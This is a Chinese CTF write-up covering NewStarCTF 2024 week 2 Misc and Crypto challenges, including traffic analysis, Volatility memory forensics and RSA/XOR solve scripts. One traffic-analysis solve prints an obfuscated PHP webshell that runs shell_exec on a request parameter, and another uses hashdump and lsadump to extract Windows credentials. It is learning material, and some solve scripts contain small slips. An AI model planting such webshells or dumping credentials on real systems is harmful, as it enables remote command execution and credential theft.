NewStarCtf 2024第二周writeup-1（Misc+Crypto）

仍然是部分wp，可以按照导航自行查看，没有的部分我后面会做了可能会补上Orz

第二周题目都无法作答了才来看看题，所以做题的时候有搜到师傅的wp（

标题-1是因为写着写着我的标题格式出问题了但是我不会在博客园里改，所以week2的其它题目放到-2里。不过其他类型的题目我也不会做多少就是了（

Misc

wireshark_checkin

看题目是http流量，导入wireshark，然后搜http。

发现有向服务器请求flag.txt的信息，看response，得到flag。

flag{ez_traffic_analyze_isn't_it}

 wireshark_secret

好好好看涩图，也是http流量。

请求了秘密图片，在相应报文里查看这部分，获得flag。

flag{you_are_gooddddd}

 热心助人的小明同学

之前没接触过内存取证，所以现学现卖.jpg

在kali里装了volatility和mimikatz插件。

先是用imageinfo查看系统信息：vol.py -f image.raw imageinfo

然后去获取密码的hash值：

vol.py -f image.raw --profile=Win7SP1x86 hashdump

拿着hash值去md5网站（https://www.somd5.com/）解密，没解出来。

继续搜索发现说是mimikatz插件可以解密，但是跑了下也没跑出来。

又去搜发现可以用lsadump去获取密码（vol.py -f image.raw --profile=Win7SP1x86 lsadump），获取到下面的东西：

 但是感觉这部分也没有什么逻辑，之后又试着去看了下进程，实在没思路了去看了别的师傅的wp，发现flag就是上图红框部分。

flag{ZDFyVDlfdTNlUl9wNHNTdzByRF9IQUNLRVIh}

用溯流仪见证伏特台风

浏览器插件wayback mechine，要用梯子sad。

所以去搜了下关键词Threatmon和伏特台风，找到了一个图片较为清晰的版本（

框框里的文字是：powerj7kmpzkdhjg4szvcxxgktgk36ezpjxvtosylrpey7svpmrjyuyd.onion

文字----16位小写的的MD5运算-->6c3ea51b6f9d4f5e

flag{6c3ea51b6f9d4f5e}

 你也玩原神吗

是张gif图片，用StegSolve打开，在Analyse里选择FrameBrowser，然后提取图片。

原本以为是丘丘语，搜了下之后找了个提瓦特语言对照表，翻译了下中间的文字，但是感觉没用，所以去翻译四角的文字。

解出来是这么一串：asentence iiaaelgtsfkfa doyouknowfence mesioaabgnhnsgogmyeiade

 fence:围栏，猜测栅栏密码（其实是我搜前半段看到别的师傅的wp了

把后面那段拿去枚举，得到：maybegenshinisagoodgame

flag{maybegenshinisagoodgame}

字里行间的秘密

哇这个我怎么都想不到，我最开始以为key.txt是个莫名其妙的文件，我甚至把flag.docx改成flag.zip解压了，获得了两个encryptpackage和encryptinfo的文件。

去百度感觉是微软自带的加密方法，也没懂。

去看了下师傅的wp，key.txt采用的是零宽字节加密。

用工具跑了下，key是：it_is_k3y

然后解锁doc文件，获得flag。

很好笑的是我一直把软件开护眼模式，所以一打开就看到了（x

 flag{you_h4ve_4nyth1n9}

Herta's Study

查看流量，感觉是文件上传（？），上传了个脚本然后连接服务器，脚本内容如下：

<?php

    $payload=$_GET['payload'];
    $payload=shell_exec($payload);
    $bbb=create_function(
    base64_decode('J'.str_rot13('T').'5z'),
base64_decode('JG5zPWJhc2U2NF9lbmNvZGUoJG5zKTsNCmZvcigkaT0wOyRpPHN0cmxlbigkbnMpOyRpKz0xKXsNCiAgICBpZigkaSUy'.str_rot13('CG0kXKfAPvNtVPNtVPNtWT5mJlEcKG1m').'dHJfcm90MTMoJG5zWyRpXSk7DQogICAgfQ0KfQ0KcmV0dXJuICRuczs=='));  
    echo $bbb($payload);

?>

str_rot13() 函数对字符串执行 ROT13 编码。

ROT13 编码是把每一个字母在字母表中向前移动 13 个字母得到。数字和非字母字符保持不变。

"."是php里的连接符，所以上传的php代码其实为：

（之前用create_function 的时候vscode一直报错，去查了下好像这个已经停用了，改了下没有报错了）

<?php
$payload = $_GET['payload'];
$payload = shell_exec($payload);
$bbb = function ($ns) {
    $ns = base64_encode($ns);
    for ($i = 0; $i < strlen($ns); $i++) {
        if ($i % 2 == 1) {
            $ns[$i] = str_rot13($ns[$i]);
        }
    }
    return $ns;
};
echo $bbb($payload);
?>

根据代码，可以看到，得出的结果经过base64编码，然后把里面的奇数位字符用str_rot13编码了。

然后去找到请求flag的包，解码，但是发现是fake flag。

后来去找了下f.txt，解出来flag:flag{sH3_i4_S0_6eAut1fuL.}

<?php
$result='ZzxuZ3tmSQNsaGRsUmBsNzVOdKQkZaVZLa0tCt==';
$bbb=function ($ns) {
    for ($i = 0; $i < strlen($ns); $i++) {
        if ($i % 2 == 1) {
            $ns[$i] = str_rot13($ns[$i]);
        }
    }
    return $ns;
};
echo base64_decode($bbb($result));
?>

 

Crypto

这是几次方？ 疑惑！

 是个python代码，如下：

from Crypto.Util.number import *

flag = b'flag{*****}'
p = getPrime(512)
q = getPrime(512)
n = p*q
e = 65537

m = bytes_to_long(flag)
c = pow(m, e, n)

hint = p^e + 10086

print("c =", c)
print("[n, e] =", [n, e])
print("hint =", hint)
'''
c = 36513006092776816463005807690891878445084897511693065366878424579653926750135820835708001956534802873403195178517427725389634058598049226914694122804888321427912070308432512908833529417531492965615348806470164107231108504308584954154513331333004804817854315094324454847081460199485733298227480134551273155762
[n, e] = [124455847177872829086850368685666872009698526875425204001499218854100257535484730033567552600005229013042351828575037023159889870271253559515001300645102569745482135768148755333759957370341658601268473878114399708702841974488367343570414404038862892863275173656133199924484523427712604601606674219929087411261, 65537]
hint = 12578819356802034679792891975754306960297043516674290901441811200649679289740456805726985390445432800908006773857670255951581884098015799603908242531673390
'''

分析上述代码:

getPrime（512）:取两个512位的质数；

c=pow(m,e,n)：c=m的e次方mod n。这个是rsa运算求密文，所以明文m=密文n的私钥d次方mod n,即为：

m=pow(c,d,n)

目前已知c，n，e，求d。

在rsa里，ed的关系是e*d modφ = 1 mod φ。

φ=（p-1）*(q-1)

去这个网站把n分解成pq：http://www.factordb.com/index.php

可以求出φ。

那么就要用到gmpy2这个库了！

d = gmpy2.invert(e,φ)  # invert（e，n）返回d使得e * d == 1 mod n，如果不存在d，则返回0

求出d。

然后根据上面的m=pow(c,d,n)求到m。

m = bytes_to_long(flag)，flag=long_to_bytes(m)。

求出flag。

这里也没太看懂hint的作用,代码如下：

from Crypto.Util.number import *
import gmpy2

c = 36513006092776816463005807690891878445084897511693065366878424579653926750135820835708001956534802873403195178517427725389634058598049226914694122804888321427912070308432512908833529417531492965615348806470164107231108504308584954154513331333004804817854315094324454847081460199485733298227480134551273155762
n = 124455847177872829086850368685666872009698526875425204001499218854100257535484730033567552600005229013042351828575037023159889870271253559515001300645102569745482135768148755333759957370341658601268473878114399708702841974488367343570414404038862892863275173656133199924484523427712604601606674219929087411261
hint = 12578819356802034679792891975754306960297043516674290901441811200649679289740456805726985390445432800908006773857670255951581884098015799603908242531663304
e = 65537
q=9894080171409167477731048775117450997716595135307245061889351408996079284609420327696692120762586015707305237750670080746600707139163744385937564246995541
p=12578819356802034679792891975754306960297043516674290901441811200649679289740456805726985390445432800908006773857670255951581884098015799603908242531598921
kk=(p-1)*(q-1)
# kk=124455847177872829086850368685666872009698526875425204001499218854100257535484730033567552600005229013042351828575037023159889870271253559515001300645102547272582607556946597809819206498583700587629821896578436377540232328729792993693280980361351684844458558344121591584147825245121367422062684374122308816800

d = gmpy2.invert(e,kk) 
d= 22611589977370520102188494132173206662182894540575368174403027280708176548743712414509190973164201319228760596652928358557224295975095230681067496021808078343144195007103821354677774261541360191905462400209949218721814339047952228144496950320622160175823856053884916779719061830624839737774087658005009858273
m=pow(c,d,n)
# m=264482712154170621062930777958510103708372984838245841047957012723716220867587500009954604988711976936661501831365621134205
flag=long_to_bytes(m)
print(flag)

Since you konw something

题目代码如下：

from pwn import xor
#The Python pwntools library has a convenient xor() function that can XOR together data of different types and lengths
from Crypto.Util.number import bytes_to_long

key = ?? #extremely short
FLAG = 'flag{????????}'
c = bytes_to_long(xor(FLAG,key))

print("c={}".format(c))

'''
c=218950457292639210021937048771508243745941011391746420225459726647571
'''

 还是异或。

已知c，题目中说key很短，求flag。

已知flag格式为：flag{xxx}，又说key很短，那么可不可以根据"flag{"求出key。

异或是按位运算的，我拿着flag{,就应该和c0的前五位运算，即：\x08\x1f\x0f\x14\x15

但是算出来不对，所以我把{去掉了，得出key，求出key之后，再运算，得出flag:flag{Y0u_kn0w_th3_X0r_b3tt3r}

from pwn import xor
from Crypto.Util.number import bytes_to_long,long_to_bytes

c=218950457292639210021937048771508243745941011391746420225459726647571
c0=long_to_bytes(c)
c1=c0[:4]
flag=b'flag'
key=xor(c1,flag)
flag = xor(c0,key)
print(flag

 茶里茶气（没做出来）

 题目代码：

from Crypto.Util.number import *

flag = "flag{*****}"
assert len( flag ) == 25

a = ""
for i in flag:
    a += hex(ord(i))[2:]
l = int(a,16).bit_length()
print("l  =" , l )

v0 = int(a,16)>>(l//2)
v1 = int(a,16)-(v0<<(l//2))
p = getPrime(l//2+10)

v2 = 0
derta = 462861781278454071588539315363
v3 = 489552116384728571199414424951
v4 = 469728069391226765421086670817
v5 = 564098252372959621721124077407
v6 = 335640247620454039831329381071
assert v1 < p and v0 < p and derta < p and v3 < p and v4 < p and v5 < p and v6 < p 

for i in range(32):
    v1 += (v0+v2) ^ ( 8*v0 + v3 ) ^ ( (v0>>7) + v4 ) ; v1 %= p
    v0 += (v1+v2) ^ ( 8*v1 + v5 ) ^ ( (v1>>7) + v6 ) ; v0 %= p
    v2 += derta ; v2 %= p

print( "p  =" , p  )
print( "v0 =" , v0 )
print( "v1 =" , v1 )

"""
l  = 199
p  = 446302455051275584229157195942211
v0 = 190997821330413928409069858571234
v1 = 137340509740671759939138452113480
"""

 看起来有点麻烦，整理下能够从代码里看到的信息：

（1）flag长度是25；

（2）ord(i)是取字母的ascii值，hex 16进制，[2:]猜测是取的0x后面的值，所以a就是把flag的ascii值的16进制的一个字符串；

（3）int(a,16),把a这个16机制数转为10进制，然后这个值的二进制长度是l，l=199；

（4）l//2=99,>>和<<都是位运算，对二进制进行移位操作。<<左移，末尾补0，>>右移，相当于/2。

　　那么>>99：/2的99次方。v0=a的ascii值的集合/2的99次方；

（5）v0的值后面补99个0，所以v1的值是a的ascii值的集合-2的100次方；

（6）p是一个109位的素数，且v_xx<p。

（7）然后就不会做了，卡在了v0%=p上。

just one and more than two

老规矩先发一下题目代码：

from Crypto.Util.number import *

flag = b'flag{?????}'
m1 = bytes_to_long(flag[:len(flag)//2])
m2 = bytes_to_long(flag[len(flag)//2:])
e = 65537
p, q, r= (getPrime(512) for _ in range(3))
N=p*q*r
c1 = pow(m1, e, p)
c2 = pow(m2, e, N)

print(f'p={p}\nq={q}\nr={r}\nc1={c1}\nc2={c2}')

'''
p=11867061353246233251584761575576071264056514705066766922825303434965272105673287382545586304271607224747442087588050625742380204503331976589883604074235133
q=11873178589368883675890917699819207736397010385081364225879431054112944129299850257938753554259645705535337054802699202512825107090843889676443867510412393
r=12897499208983423232868869100223973634537663127759671894357936868650239679942565058234189535395732577137079689110541612150759420022709417457551292448732371
c1=8705739659634329013157482960027934795454950884941966136315983526808527784650002967954059125075894300750418062742140200130188545338806355927273170470295451
c2=1004454248332792626131205259568148422136121342421144637194771487691844257449866491626726822289975189661332527496380578001514976911349965774838476334431923162269315555654716024616432373992288127966016197043606785386738961886826177232627159894038652924267065612922880048963182518107479487219900530746076603182269336917003411508524223257315597473638623530380492690984112891827897831400759409394315311767776323920195436460284244090970865474530727893555217020636612445
'''

由题，可以看出flag是两部分拼接出来的，pqr分别是512位的素数。已知pqr那么N也可以求出来。又因为c1=pow(m1,e,p),c2=pow(m2,e,N),感觉私钥d也可以求出来。

kk=(p-1)*(q-1)

d=gmpy2.invert(e,kk)由此就可以求出m1,m2。

然后我得出了m1和m2，但是m2不是正常的字符串，我尝试着把N改成了p*q，得出了flag。

这里不晓得为什么要这么改，如果有师傅看到这里可以不吝赐教_(:з」∠)_

 

from Crypto.Util.number import *
import gmpy2
p=11867061353246233251584761575576071264056514705066766922825303434965272105673287382545586304271607224747442087588050625742380204503331976589883604074235133
q=11873178589368883675890917699819207736397010385081364225879431054112944129299850257938753554259645705535337054802699202512825107090843889676443867510412393
r=12897499208983423232868869100223973634537663127759671894357936868650239679942565058234189535395732577137079689110541612150759420022709417457551292448732371
c1=8705739659634329013157482960027934795454950884941966136315983526808527784650002967954059125075894300750418062742140200130188545338806355927273170470295451
c2=1004454248332792626131205259568148422136121342421144637194771487691844257449866491626726822289975189661332527496380578001514976911349965774838476334431923162269315555654716024616432373992288127966016197043606785386738961886826177232627159894038652924267065612922880048963182518107479487219900530746076603182269336917003411508524223257315597473638623530380492690984112891827897831400759409394315311767776323920195436460284244090970865474530727893555217020636612445
e = 65537
N=p*q

kk=(p-1)*(q-1)
d=gmpy2.invert(e,kk)

m1=long_to_bytes(pow(c1,d,p))
# flag{Y0u_re4lly_kn0w_Eule
m2=long_to_bytes(pow(c2,d,N))
# r_4nd_N3xt_Eu1er_is_Y0u!}
print(m1,'\n',m2)

flag:flag{Y0u_re4lly_kn0w_Euler_4nd_N3xt_Eu1er_is_Y0u!}